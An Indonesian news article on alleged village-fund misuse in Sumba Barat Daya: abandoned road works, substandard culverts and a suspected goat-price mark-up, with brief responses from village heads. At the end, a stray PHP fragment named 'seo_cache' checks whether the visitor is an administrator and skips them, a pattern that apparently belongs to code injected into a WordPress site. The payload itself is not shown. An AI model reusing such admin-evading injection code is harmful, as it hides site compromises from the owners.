Berita Desa

Tata Kelola Dana Desa dalam Ketimpangan, Hasil Pembangunan Jadi Penuh Borok

×

Tata Kelola Dana Desa dalam Ketimpangan, Hasil Pembangunan Jadi Penuh Borok

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Tata kelola Dana Desa di kabupaten SBD terus memperlihatkan ketimpangan .

Saban waktu, pemberitaan media menyeruakkan informasi miris, dimana uang negara ditengarai lebih banyak mengalir ke kocek kades.

Kondisi jalan sepanjang 600 meter di Desa Wee Kokora yang tidak tuntas dikerjakan. ( Foto Menara Sumba )

Seperti dialami warga Desa Wee Kokora, Kecamatan Wewewa Tengah yang harus menerima kenyataan pahit.

Sejumlah proyek Dana Desa mangkrak, bahkan tidak dikerjakan oleh Penjabat Kepala Desa, Ferdinandus Umbu Gale.

Tak tahan dengan ulah penjabat kepala desa, warga mengambil inisiatif mengadu kepada wartawan.

Pasalnya, alih-alih tuntas, beberapa proyek jalan menyisakan borok di mata warga desa lantaran dananya yang diduga masuk saku oknum penjabat kepala desa.

Hasil penelusuran media ini pada Jumat (09/01/2026) lalu, didapati pekerjaan jalan yang terlantar, bahkan sama sekali tidak dikerjakan.

Rabat jalan sepanjang 60 meter di Dusun IV misalnya, sama sekali belum dikerjakan.

“Rabat jalan ini dianggarkan pada tahun 2025, tapi sampai sekarang tidak dikerjakan,” beber Lukas, salah seorang ketua RT di dusun itu.

Warga Dusun IV, Desa Wee Kokora berdiri pada salah satu ruas jalan rabat yang tidak dikerjakan. ( Foto Menara Sumba )

Demikian halnya jalan desa yang membentang sepanjang 600 meter, bentangan sirtu terlihat awut-awutan.

Bahkan duiker di jalan itu dibiarkan menganga begitu saja tanpa timbunan.

Otomatis, warga tidak bisa melintasi jalan, apalagi jika pakai kendaraan bermotor lantaran duikernya masih berlubang.

“Saya terpaksa timbun sedikit pas-pasan untuk dilewati sepeda motor,” ungkap salah satu pemuda warga desa.

Mirisnya lagi, pengadaan kambing untuk warga desa juga menuai soal karena ada dugaan mark up anggaran.

Harga kambing dipatok tinggi melangit dari yang diterima penduduk desa itu.

Libatkan Oknum Aparat

Kisah lain datang dari Desa Kadu Eta, Kecamatan Kodi Utara juga soal jalan yang diduga dikerjakan semata untuk keruk keuntungan.

Salah satu duiker abal-abal pada ruas jalan di Desa Kadu Eta, Kecamatan Kodi Utara yang sudah hancur terlindas kendaraan. ( Foto Menara Sumba )

Duiker abal-abal memperlihatkan bukti nyata anggaran dikibuli dengan mengakali penggunaan material.

Dalam pantauan awak media, konstruksi duiker hanya ditempel beberapa ruas besi, bukannya beton cor.

Bahkan, konstruksinya juga disisipi potongan kayu dan saat ini kondisi duiker sudah remuk terlindas roda kendaraan yang melintas.

Celakanya lagi, nama oknum aparat berinisial IGA ikut terseret dan disebut sebagai penerima proyek jalan desa ini.

Saat dikonfirmasi awak media, baik Penjabat Kepala Desa Wee Kokora maupun Kepala Desa Kadu Eta sama-sama memberikan jawaban klasik.

Nanti akan diperbaiki, jadi komentar paling favorit yang terlontar dari kedua pejabat desa tersebut.

Jawaban paling singkat datang dari Kepala Desa Kadu Eta, Pati Nundu, merespon sejumlah pertanyaan yang disampaikan lewat pesan WhatsApp.

Dalam chat yang dikirim Pati Nundu pada Sabtu (10/01/2026) lalu ia hanya mengetik tak lebih dari 17 huruf.

“Ya BP ni mau perbaiki,” tulisnya dalam chat singkat itu. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>